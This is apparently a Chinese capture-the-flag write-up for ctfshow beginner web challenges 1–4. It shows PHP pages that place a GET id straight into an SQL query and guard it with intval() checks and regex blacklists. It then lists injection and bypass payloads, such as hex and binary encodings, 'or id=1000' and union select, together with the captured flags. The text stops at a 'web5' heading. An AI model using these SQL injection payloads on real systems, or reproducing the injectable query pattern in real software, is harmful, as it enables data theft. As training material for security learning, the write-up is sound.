来源:ctfshow
[TOC]
web1
考点:inval()函数漏洞,sql注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <html> <head> <title>ctf.show萌新计划web1</title> <meta charset="utf-8"> </head> <body> <?php # 包含数据库连接文件 include("config.php"); # 判断get提交的参数id是否存在 if(isset($_GET['id'])){ $id = $_GET['id']; # 判断id的值是否大于999 if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; echo "执行的sql为:$sql<br>"; # 执行sql 语句 $result = $conn->query($sql); # 判断有没有查询结果 if ($result->num_rows > 0) { # 如果有结果,获取结果对象的值$row while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>"; } } # 关闭数据库连接 $conn->close(); } }else{ highlight_file(__FILE__); }
?> </body> <!-- flag in id = 1000 --> </html>
|
由于没有限制输入,所以只需要利用inval()的漏洞和sql注入漏洞拿到flag。
-
?id=’1000‘ #字符串绕过
-
?id=0x3e8 #转换成16进制绕过
-
?id=-1 or id=1000
-
?id=100*10
-
?id=~~1000 #两次取反
-
?id=900%2B100 #%2B是+的url编码
-
?id=round(999.9)
-
?id=999 or 1=1 --+
-
?id=0b1111101000 #二进制
-
?id=125<<3
-
?id=1 union select * from article; --+
-
?id=/!1000/ 内联注释
ctfshow{5853bd20-b1d4-420d-aa13-0c343c7e9461}
web2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| <html> <head> <title>ctf.show萌新计划web1</title> <meta charset="utf-8"> </head> <body> <?php # 包含数据库连接文件 include("config.php"); # 判断get提交的参数id是否存在 if(isset($_GET['id'])){ $id = $_GET['id']; if(preg_match("/or|\+/i",$id)){ die("id error"); } # 判断id的值是否大于999 if(intval($id) > 999){ # id 大于 999 直接退出并返回错误 die("id error"); }else{ # id 小于 999 拼接sql语句 $sql = "select * from article where id = $id order by id limit 1 "; echo "执行的sql为:$sql<br>"; # 执行sql 语句 $result = $conn->query($sql); # 判断有没有查询结果 if ($result->num_rows > 0) { # 如果有结果,获取结果对象的值$row while($row = $result->fetch_assoc()) { echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>"; } } # 关闭数据库连接 $conn->close(); } }else{ highlight_file(__FILE__); }
?> </body> <!-- flag in id = 1000 --> </html>
|
多了一个过滤,不能用or, +号,上面筛选一下就行
?id=‘1000’
ctfshow{622abd97-affc-4f13-9cb8-7181b9cc0ffa}
web3
1 2 3 4 5
| if(isset($_GET['id'])){ $id = $_GET['id']; if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){ die("id error"); }
|
依然是多了个过滤。?id=‘1000’
ctfshow{560b6c4f-7a73-4d0d-96ae-cb941878bdc9}
web4
1 2 3 4 5
| if(isset($_GET['id'])){ $id = $_GET['id']; if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){ die("id error"); }
|
?id=‘1000’
ctfshow{3390706c-7566-466c-a86e-37a6d19f95cc}
web5